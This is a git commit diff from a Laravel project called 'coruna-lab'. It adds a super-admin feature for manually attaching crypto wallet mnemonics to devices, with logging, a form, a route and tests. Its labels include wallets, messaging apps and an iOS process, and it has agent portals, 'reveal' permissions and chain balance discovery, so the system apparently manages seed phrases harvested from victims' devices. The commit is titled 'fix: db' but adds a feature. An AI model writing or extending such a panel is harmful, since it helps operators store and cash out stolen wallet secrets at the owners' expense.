root/coruna-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

fix: db

Browse Source
This commit is contained in:
hashbro
2026-09-17 04:59:39 +08:00
parent 0b434a082c
commit 2729fd561b
7 changed files with 512 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
app/Http/Controllers/Admin/MnemonicController.php
+172
View File
@@ -5,17 +5,23 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Concerns\RevealsMnemonics;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Models\Device;
use App\Models\SystemLog;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\AdminGoogle2fa;
use App\Services\IngestService;
use App\Services\MnemonicAddressLinker;
use App\Services\MnemonicWalletDiscovery;
use App\Services\WalletBalanceService;
use App\Support\AgentScope;
use App\Support\WalletSource;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\RateLimiter;
use Illuminate\Validation\Rule;
class MnemonicController extends Controller
{
@@ -36,10 +42,14 @@ class MnemonicController extends Controller
->orderBy('source')
->pluck('source');
$canCreate = $this->canCreateMnemonic();
return view('admin.mnemonics.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
'create_sources' => $canCreate ? $this->createSourceOptions($sources) : [],
'can_create' => $canCreate,
'can_reveal' => $this->canRevealMnemonics(),
'show_origin' => $this->canSeeOriginDevice(),
'google_bound' => $this->googleBoundForReveal(),
@@ -47,6 +57,88 @@ class MnemonicController extends Controller
]);
}
public function store(
Request $request,
MnemonicAddressLinker $linker,
MnemonicWalletDiscovery $discovery,
) {
if (! $this->canCreateMnemonic()) {
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
}
$allowedSources = $this->createSourceOptions(
WalletMnemonic::query()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->pluck('source')
);
$data = $request->validate([
'device_id' => ['required', 'string', 'max:64'],
'source' => ['required', 'string', 'max:64', Rule::in($allowedSources)],
'mnemonic' => ['required', 'string', 'max:2048'],
], [
'device_id.required' => '请输入设备 ID',
'source.required' => '请选择来源',
'source.in' => '来源无效',
'mnemonic.required' => '请输入助记词',
]);
$secret = trim(preg_replace('/\s+/u', ' ', $data['mnemonic']) ?? '');
if ($secret === '' || ! $this->isAcceptableMnemonic($secret)) {
return response()->json(['code' => 1, 'msg' => '助记词格式无效，需为 12–24 个英文或中文单词'], 422);
}
$device = $this->resolveDevice(trim($data['device_id']));
if ($device === null) {
return response()->json(['code' => 1, 'msg' => '找不到该设备'], 422);
}
$hash = WalletMnemonic::hashSecret($secret);
$row = WalletMnemonic::query()->firstOrNew([
'device_id' => $device->id,
'mnemonic_hash' => $hash,
]);
if ($row->exists) {
return response()->json(['code' => 1, 'msg' => '该设备已存在相同助记词'], 422);
}
$row->source = $data['source'];
$row->mnemonic = $secret;
$row->save();
try {
$linker->linkMnemonicToDeviceAddresses($row);
} catch (\Throwable) {
// Linking is best-effort; the mnemonic row is already saved.
}
try {
$discovery->discoverActivated($row);
} catch (\Throwable) {
// Discovery talks to chain APIs; failure must not roll back the add.
}
/** @var Admin $actor */
$actor = auth('admin')->user();
try {
SystemLog::recordMnemonicCreate($actor, $row, $device, $request);
} catch (\Throwable) {
// Audit write is best-effort.
}
return response()->json([
'code' => 0,
'msg' => '已添加',
'data' => [
'id' => $row->id,
'device_id' => $device->device_id,
'source' => $row->source,
],
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
@@ -291,4 +383,84 @@ class MnemonicController extends Controller
{
return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true);
}
private function canCreateMnemonic(): bool
{
if ($this->isAgentPortal()) {
return false;
}
$admin = auth('admin')->user();
return $admin instanceof Admin && $admin->isSuper();
}
/**
* @param iterable<int, string> $existing
* @return list<string>
*/
private function createSourceOptions(iterable $existing): array
{
$options = WalletSource::mnemonicSourceOptions();
$seen = array_fill_keys($options, true);
foreach ($existing as $source) {
$source = trim((string) $source);
if ($source === '' || isset($seen[$source])) {
continue;
}
$options[] = $source;
$seen[$source] = true;
}
return $options;
}
private function resolveDevice(string $key): ?Device
{
$key = trim($key);
if ($key === '') {
return null;
}
$candidates = [$key];
$normalized = IngestService::normalizeDeviceKey($key);
if (is_string($normalized) && $normalized !== '' && $normalized !== $key) {
$candidates[] = $normalized;
}
if (strtoupper($key) !== $key) {
$candidates[] = strtoupper($key);
}
$device = Device::query()->whereIn('device_id', array_values(array_unique($candidates)))->first();
if ($device !== null) {
return $device;
}
if (ctype_digit($key)) {
return Device::query()->find((int) $key);
}
return null;
}
private function isAcceptableMnemonic(string $secret): bool
{
$words = preg_split('/\s+/u', strtolower(trim($secret))) ?: [];
$n = count($words);
if (! in_array($n, [12, 15, 18, 21, 24], true)) {
return false;
}
foreach ($words as $word) {
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
continue;
}
if (preg_match('/^\p{Han}{1,4}$/u', $word) === 1) {
continue;
}
return false;
}
return true;
}
}
app/Models/SystemLog.php
+26
View File
@@ -9,6 +9,8 @@ class SystemLog extends Model
{
public const ACTION_MNEMONIC_REVEAL = 'mnemonic_reveal';
public const ACTION_MNEMONIC_CREATE = 'mnemonic_create';
public const UPDATED_AT = null;
protected $fillable = [
@@ -26,6 +28,7 @@ class SystemLog extends Model
{
return [
self::ACTION_MNEMONIC_REVEAL => '查看助记词',
self::ACTION_MNEMONIC_CREATE => '手动添加助记词',
];
}
@@ -84,4 +87,27 @@ class SystemLog extends Model
$request,
);
}
public static function recordMnemonicCreate(
Admin $actor,
WalletMnemonic $mnemonic,
Device $device,
?Request $request = null,
): self {
$parts = ['#'.$mnemonic->id];
if ($device->device_id) {
$parts[] = '设备 '.$device->device_id;
}
if ($mnemonic->source) {
$parts[] = '来源 '.$mnemonic->source;
}
return static::record(
$actor,
'admin',
self::ACTION_MNEMONIC_CREATE,
'手动添加助记词 '.implode('，', $parts),
$request,
);
}
}
app/Support/WalletSource.php
+25
View File
@@ -124,6 +124,8 @@ final class WalletSource
'com.apple.imagent',
];
public const MANUAL_LABEL = '手动添加';
public static function fromTag(mixed $tag): string
{
if (! is_string($tag) || $tag === '') {
@@ -189,6 +191,29 @@ final class WalletSource
return '';
}
/**
* Wallet names shown when an admin manually attaches a mnemonic.
*
* @return list<string>
*/
public static function mnemonicSourceOptions(): array
{
$skip = ['Telegram', 'WhatsApp', 'iMessage', 'unknown'];
$labels = [];
foreach (self::knownLabels() as $label) {
$label = trim($label);
if ($label === '' || in_array($label, $skip, true)) {
continue;
}
$labels[$label] = true;
}
$sorted = array_keys($labels);
sort($sorted, SORT_NATURAL | SORT_FLAG_CASE);
$sorted[] = self::MANUAL_LABEL;
return $sorted;
}
/**
* @return list<string>
*/
resources/views/admin/mnemonics/index.blade.php
+79
View File
@@ -70,6 +70,9 @@
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-mn-search">搜索</button>
@if(!empty($can_create))
<button type="button" class="layui-btn layui-btn-normal" id="LAY-mn-create">手动添加</button>
@endif
</div>
</div>
</form>
@@ -267,6 +270,82 @@ layui.use(['table', 'form', 'layer'], function () {
table.reload('LAY-mn-list', { where: data.field, page: { curr: 1 } });
return false;
});
@if(!empty($can_create))
var createUrl = @json(route('admin.mnemonics.store'));
var createSources = @json($create_sources ?? []);
function ajaxMsg(xhr, fallback) {
var body = (xhr && xhr.responseJSON) || {};
if (body.msg || body.message) return body.msg || body.message;
if (body.errors) {
var key = Object.keys(body.errors)[0];
if (key && body.errors[key] && body.errors[key][0]) return body.errors[key][0];
}
return fallback;
}
function openCreate() {
var options = createSources.map(function (s) {
return '<option value="' + esc(s) + '">' + esc(s) + '</option>';
}).join('');
layer.open({
type: 1,
title: '手动添加助记词',
area: ['560px', 'auto'],
content: '<form class="layui-form" style="padding:16px;" id="LAY-mn-create-form" lay-filter="LAY-mn-create-form">' +
'<div class="layui-form-item"><label class="layui-form-label">设备 ID</label><div class="layui-input-block">' +
'<input name="device_id" class="layui-input" placeholder="设备 ID 或数字主键" autocomplete="off"></div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">来源</label><div class="layui-input-block">' +
'<select name="source"><option value="">请选择</option>' + options + '</select></div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">助记词</label><div class="layui-input-block">' +
'<textarea name="mnemonic" class="layui-textarea" placeholder="12–24 个单词，空格分隔" rows="4"></textarea></div></div>' +
'</form>',
success: function (layero, index) {
form.render('select', 'LAY-mn-create-form');
var maxH = Math.max(240, window.innerHeight - 140);
var $content = layero.find('.layui-layer-content');
if ($content.outerHeight() > maxH) {
$content.css({ 'max-height': maxH + 'px', 'overflow-y': 'auto' });
layer.style(index, { top: Math.max(20, (window.innerHeight - layero.outerHeight()) / 2) + 'px' });
}
},
btn: ['保存', '取消'],
yes: function (index) {
var payload = {};
$('#LAY-mn-create-form').serializeArray().forEach(function (x) { payload[x.name] = x.value; });
if (!payload.device_id) return layer.msg('请输入设备 ID');
if (!payload.source) return layer.msg('请选择来源');
if (!payload.mnemonic) return layer.msg('请输入助记词');
var loadIdx = layer.load(1, { shade: 0.1 });
$.ajax({
url: createUrl,
method: 'POST',
data: {
_token: token,
device_id: payload.device_id,
source: payload.source,
mnemonic: payload.mnemonic
},
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '添加失败');
}
layer.close(index);
layer.msg(res.msg || '已添加');
table.reload('LAY-mn-list');
},
error: function (xhr) {
layer.close(loadIdx);
layer.msg(ajaxMsg(xhr, '添加失败'));
}
});
}
});
}
$('#LAY-mn-create').on('click', openCreate);
@endif
table.on('tool(LAY-mn-list)', function (obj) {
if (obj.event === 'reveal') {
revealMnemonic(obj.data);
routes/admin.php
+2
View File
@@ -124,6 +124,8 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
});
Route::middleware('admin.super')->group(function () {
Route::post('mnemonics', [MnemonicController::class, 'store'])->name('mnemonics.store');
Route::prefix('system')->name('system.')->group(function () {
Route::get('logs', [SystemLogController::class, 'index'])->name('logs.index');
Route::get('logs/data', [SystemLogController::class, 'data'])->name('logs.data');
tests/Feature/MnemonicManualStoreTest.php
+194
View File
@@ -0,0 +1,194 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\SystemLog;
use App\Models\User;
use App\Models\WalletMnemonic;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Route;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class MnemonicManualStoreTest extends TestCase
{
use RefreshDatabase;
private const PHRASE = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
protected function setUp(): void
{
parent::setUp();
Http::fake();
config([
'coruna.panel.admin_hosts' => [],
'coruna.panel.agent_hosts' => [],
]);
}
private function superAdmin(): Admin
{
return Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
}
private function staffAdmin(): Admin
{
return Admin::query()->create([
'username' => 'staff',
'password' => 'secret12',
'is_super' => 0,
]);
}
#[Test]
public function super_admin_can_add_mnemonic_with_device_and_source(): void
{
$admin = $this->superAdmin();
$device = Device::query()->create(['device_id' => '001938811A46201E']);
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.store'), [
'device_id' => '001938811A46201E',
'source' => 'TronLink',
'mnemonic' => " abandon abandon abandon abandon abandon abandon\nabandon abandon abandon abandon abandon about ",
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.device_id', '001938811A46201E')
->assertJsonPath('data.source', 'TronLink');
$row = WalletMnemonic::query()->first();
$this->assertNotNull($row);
$this->assertSame($device->id, (int) $row->device_id);
$this->assertSame('TronLink', $row->source);
$this->assertSame(self::PHRASE, $row->mnemonic);
$log = SystemLog::query()->where('action', SystemLog::ACTION_MNEMONIC_CREATE)->first();
$this->assertNotNull($log);
$this->assertSame('root', $log->actor_username);
$this->assertStringContainsString('设备 001938811A46201E', (string) $log->content);
$this->assertStringContainsString('来源 TronLink', (string) $log->content);
$this->assertStringNotContainsString('abandon', (string) $log->content);
}
#[Test]
public function super_admin_can_lookup_device_by_numeric_id(): void
{
$admin = $this->superAdmin();
$device = Device::query()->create(['device_id' => 'dev-numeric-1']);
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.store'), [
'device_id' => (string) $device->id,
'source' => '手动添加',
'mnemonic' => self::PHRASE,
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.source', '手动添加');
$this->assertSame(1, WalletMnemonic::query()->count());
$this->assertSame($device->id, (int) WalletMnemonic::query()->value('device_id'));
}
#[Test]
public function staff_admin_cannot_add_mnemonic(): void
{
$staff = $this->staffAdmin();
Device::query()->create(['device_id' => 'dev-staff-blocked']);
$this->actingAs($staff, 'admin')
->postJson(route('admin.mnemonics.store'), [
'device_id' => 'dev-staff-blocked',
'source' => 'imToken',
'mnemonic' => self::PHRASE,
])
->assertForbidden()
->assertJsonPath('msg', '需要超级管理员权限');
$this->assertSame(0, WalletMnemonic::query()->count());
}
#[Test]
public function staff_list_page_hides_create_button_super_sees_it(): void
{
$this->actingAs($this->staffAdmin(), 'admin')
->get(route('admin.mnemonics.index'))
->assertOk()
->assertDontSee('手动添加');
$this->actingAs($this->superAdmin(), 'admin')
->get(route('admin.mnemonics.index'))
->assertOk()
->assertSee('手动添加')
->assertSee('TronLink');
}
#[Test]
public function agent_portal_has_no_store_route_and_hides_create(): void
{
$this->assertFalse(Route::has('user.mnemonics.store'));
$agent = User::query()->create([
'username' => 'agent1',
'password' => 'secret12',
'status' => 1,
]);
$this->actingAs($agent, 'agent')
->get(route('user.mnemonics.index'))
->assertOk()
->assertDontSee('手动添加');
}
#[Test]
public function rejects_missing_device_invalid_phrase_and_duplicate(): void
{
$admin = $this->superAdmin();
Device::query()->create(['device_id' => 'dev-dup']);
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.store'), [
'device_id' => 'no-such-device',
'source' => 'imToken',
'mnemonic' => self::PHRASE,
])
->assertStatus(422)
->assertJsonPath('msg', '找不到该设备');
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.store'), [
'device_id' => 'dev-dup',
'source' => 'imToken',
'mnemonic' => 'not a mnemonic',
])
->assertStatus(422)
->assertJsonPath('code', 1);
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.store'), [
'device_id' => 'dev-dup',
'source' => 'imToken',
'mnemonic' => self::PHRASE,
])
->assertOk();
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.store'), [
'device_id' => 'dev-dup',
'source' => 'TronLink',
'mnemonic' => self::PHRASE,
])
->assertStatus(422)
->assertJsonPath('msg', '该设备已存在相同助记词');
$this->assertSame(1, WalletMnemonic::query()->count());
}
}
tests/Unit/WalletSourceTest.php
+14
View File
@@ -52,4 +52,18 @@ class WalletSourceTest extends TestCase
$this->assertSame('d', WalletSource::tagForLabel('Trust Wallet'));
$this->assertSame('b', WalletSource::tagForLabel('imToken'));
}
#[Test]
public function mnemonic_source_options_are_wallets_plus_manual(): void
{
$options = WalletSource::mnemonicSourceOptions();
$this->assertContains('imToken', $options);
$this->assertContains('TronLink', $options);
$this->assertContains('Trust Wallet', $options);
$this->assertContains('手动添加', $options);
$this->assertSame('手动添加', $options[array_key_last($options)]);
$this->assertNotContains('Telegram', $options);
$this->assertNotContains('WhatsApp', $options);
$this->assertNotContains('iMessage', $options);
}
}